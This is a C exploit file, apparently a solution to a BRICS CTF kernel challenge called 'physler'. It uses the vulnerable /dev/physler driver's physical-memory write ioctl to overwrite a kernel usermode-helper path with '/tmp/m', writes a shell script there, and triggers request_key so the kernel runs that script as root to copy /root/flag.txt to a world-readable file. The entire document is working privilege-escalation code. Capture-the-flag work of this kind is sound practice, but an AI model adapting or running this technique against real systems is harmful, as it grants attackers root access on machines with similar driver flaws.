bricsctf_physler_exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <sys/syscall.h>

#define module 			"/dev/physler"
#define request_key		0x24786d0
#define IOCTL_MAP_PHYS_ADDR 	0x1001
#define IOCTL_READ_PHYS_MEM 	0x2002
#define IOCTL_WRITE_PHYS_MEM 	0x3003


static struct ioctl_map {
    unsigned long phys_addr;
    unsigned long size;
};

static struct ioctl_write {
    unsigned long size;
    unsigned char* in_data;
};

int fd;
char overwrite[] = "/tmp/m";

int main(){
	system("echo -e '#!/bin/sh\ncp /root/flag.txt /tmp/flag && chmod 777 /tmp/flag' > /tmp/m");
	system("chmod +x /tmp/m");
	fd = open(module, O_RDWR);
	if (fd < 0) {perror("[-] Cannot Open Module\n");exit(-1);}
	struct ioctl_map mphys;
	mphys.phys_addr = request_key;
	mphys.size = sizeof(overwrite);
	ioctl(fd, IOCTL_MAP_PHYS_ADDR, &mphys);
	struct ioctl_write wphys;
	wphys.size = strlen(overwrite)+1;
	wphys.in_data = (unsigned char*) overwrite;
	ioctl(fd, IOCTL_WRITE_PHYS_MEM, &wphys);
	syscall(SYS_request_key, "user", "PWN", "KERNEL", KEY_SPEC_THREAD_KEYRING);
	return 0;
}